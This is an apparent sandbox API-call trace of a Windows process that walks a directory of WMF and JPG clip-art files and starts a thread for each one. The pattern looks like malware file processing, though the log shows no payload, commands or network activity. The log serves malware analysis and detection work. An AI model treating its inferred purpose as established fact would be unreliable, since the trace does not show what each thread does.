	[0239.579] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe78, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153095.WMF", cAlternateFileName="")) returned 1
	[0239.579] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a6c
	[0239.581] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.582] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153265.WMF", cAlternateFileName="")) returned 1
	[0239.582] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a70
	[0239.584] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.584] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e80, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153273.WMF", cAlternateFileName="")) returned 1
	[0239.584] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a74
	[0239.613] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.614] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f0c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153299.WMF", cAlternateFileName="")) returned 1
	[0239.614] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a78
	[0239.616] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.617] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7850, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153302.WMF", cAlternateFileName="")) returned 1
	[0239.617] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a7c
	[0239.619] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.620] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9658, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153305.WMF", cAlternateFileName="")) returned 1
	[0239.620] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a80
	[0239.622] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.623] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153307.WMF", cAlternateFileName="")) returned 1
	[0239.623] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a84
	[0239.625] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.626] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4238, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153313.WMF", cAlternateFileName="")) returned 1
	[0239.626] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a88
	[0239.628] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.629] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4464, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153398.WMF", cAlternateFileName="")) returned 1
	[0239.629] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8c
	[0239.631] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.632] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85d0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153508.WMF", cAlternateFileName="")) returned 1
	[0239.632] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a90
	[0239.633] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.634] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x31d0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153514.WMF", cAlternateFileName="")) returned 1
	[0239.634] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a94
	[0239.636] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.637] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153516.WMF", cAlternateFileName="")) returned 1
	[0239.637] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a98
	[0239.638] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.639] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x30f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0153518.WMF", cAlternateFileName="")) returned 1
	[0239.639] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a9c
	[0239.641] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.642] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0156537.WMF", cAlternateFileName="")) returned 1
	[0239.642] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa0
	[0239.644] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.645] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb66e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0157167.WMF", cAlternateFileName="")) returned 1
	[0239.645] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa4
	[0239.744] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.745] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x54d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0157177.WMF", cAlternateFileName="")) returned 1
	[0239.745] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa8
	[0239.748] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.748] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x45f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0157191.WMF", cAlternateFileName="")) returned 1
	[0239.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aac
	[0239.751] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.752] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c84, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0157831.WMF", cAlternateFileName="")) returned 1
	[0239.752] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab0
	[0239.754] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.754] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0158071.WMF", cAlternateFileName="")) returned 1
	[0239.754] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab4
	[0239.757] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.757] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x462e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0158477.WMF", cAlternateFileName="")) returned 1
	[0239.758] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab8
	[0239.760] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.761] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x72de, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0160590.WMF", cAlternateFileName="")) returned 1
	[0239.763] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1abc
	[0239.765] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.766] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb594, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0164153.JPG", cAlternateFileName="")) returned 1
	[0239.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac0
	[0239.769] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.769] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0168644.WMF", cAlternateFileName="")) returned 1
	[0239.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac4
	[0239.771] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.772] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3888, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0171685.WMF", cAlternateFileName="")) returned 1
	[0239.772] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac8
	[0239.775] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.776] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0171847.WMF", cAlternateFileName="")) returned 1
	[0239.776] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1acc
	[0239.778] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.779] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d18, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0172035.WMF", cAlternateFileName="")) returned 1
	[0239.779] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad0
	[0239.832] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0239.833] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0172067.WMF", cAlternateFileName="")) returned 1
	[0239.833] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0239.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad4
	[0239.834] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
